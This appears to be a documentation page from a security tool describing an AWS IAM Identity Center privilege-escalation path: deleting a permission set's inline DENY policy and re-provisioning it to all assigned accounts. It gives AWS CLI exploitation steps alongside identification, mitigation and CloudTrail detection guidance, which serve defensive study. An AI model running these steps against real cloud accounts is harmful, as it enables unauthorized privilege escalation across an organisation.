AWS_SSO_DELETE_INLINE_POLICY

Copy page

Summary


Forestall ACL Alias	AWS_SSO_DELETE_INLINE_POLICY
Affected Object Types	`AWSIAMUser\|AWSIAMRole\|AWSIAMGroup → AWSPermissionSet`
Exploitation Certainty	High
AWS IAM Action	`sso:DeleteInlinePolicyFromPermissionSet` + `sso:ProvisionPermissionSet`

Description

Account gate: This edge is only emitted for IAM principals that reside in the Organizations management account or an IAM Identity Center delegated-administrator account (service principal sso.amazonaws.com). Principals in any other member account receive AccessDenied from all SSO Admin APIs regardless of their IAM permissions.

An attacker with sso:DeleteInlinePolicyFromPermissionSet and sso:ProvisionPermissionSet can wipe the inline policy from a target Permission Set and re-provision it across all assigned accounts. When the inline policy contains explicit DENY statements, removing it lifts those restrictions and broadens the permissions of every principal holding that Permission Set.

Edge semantics: (Attacker:AWSIAMUser|AWSIAMRole|AWSIAMGroup) -[AWS_SSO_DELETE_INLINE_POLICY]-> (Target:AWSPermissionSet)

Precondition: the target Permission Set must have at least one account assignment (poisonablePsGuids); without an assignment, provisioning has no effect.

Identification

# View the inline policy of a permission set
aws sso-admin get-inline-policy-for-permission-set \
  --instance-arn <instance-arn> \
  --permission-set-arn <permission-set-arn>

# Check if the attacker has the required permissions
aws iam simulate-principal-policy \
  --policy-source-arn <attacker-arn> \
  --action-names sso:DeleteInlinePolicyFromPermissionSet sso:ProvisionPermissionSet \
  --resource-arns "*"

# List account assignments
aws sso-admin list-account-assignments \
  --instance-arn <instance-arn> \
  --account-id <account-id> \
  --permission-set-arn <permission-set-arn>

Exploitation

# Step 1: Delete the inline policy (including any DENY statements) from the permission set
aws sso-admin delete-inline-policy-from-permission-set \
  --instance-arn <instance-arn> \
  --permission-set-arn <permission-set-arn>

# Step 2: Re-provision to push the updated (less restrictive) policy to all accounts
aws sso-admin provision-permission-set \
  --instance-arn <instance-arn> \
  --permission-set-arn <permission-set-arn> \
  --target-type ALL_PROVISIONED_ACCOUNTS

Mitigation

Restrict sso:DeleteInlinePolicyFromPermissionSet and sso:ProvisionPermissionSet to dedicated Identity Center administrator roles.
Use SCPs to block deletion of inline policies on Permission Sets assigned to privileged accounts.
Don’t rely solely on inline DENY policies for permission restriction. Use Permission Boundaries for defense in depth.
Alert in CloudTrail on DeleteInlinePolicyFromPermissionSet events and on any provisioning that follows.
Audit inline policies across all Permission Sets regularly to catch unauthorized removals early.

Detection

CloudTrail Event	Description	Key Fields
`DeleteInlinePolicyFromPermissionSet`	The inline policy was deleted from a Permission Set	`requestParameters.permissionSetArn`, `userIdentity.arn`
`ProvisionPermissionSet`	The Permission Set was re-provisioned to accounts	`requestParameters.permissionSetArn`, `requestParameters.targetType`, `userIdentity.arn`

Alert when DeleteInlinePolicyFromPermissionSet is followed by ProvisionPermissionSet on the same Permission Set ARN within a short window.

Ask AI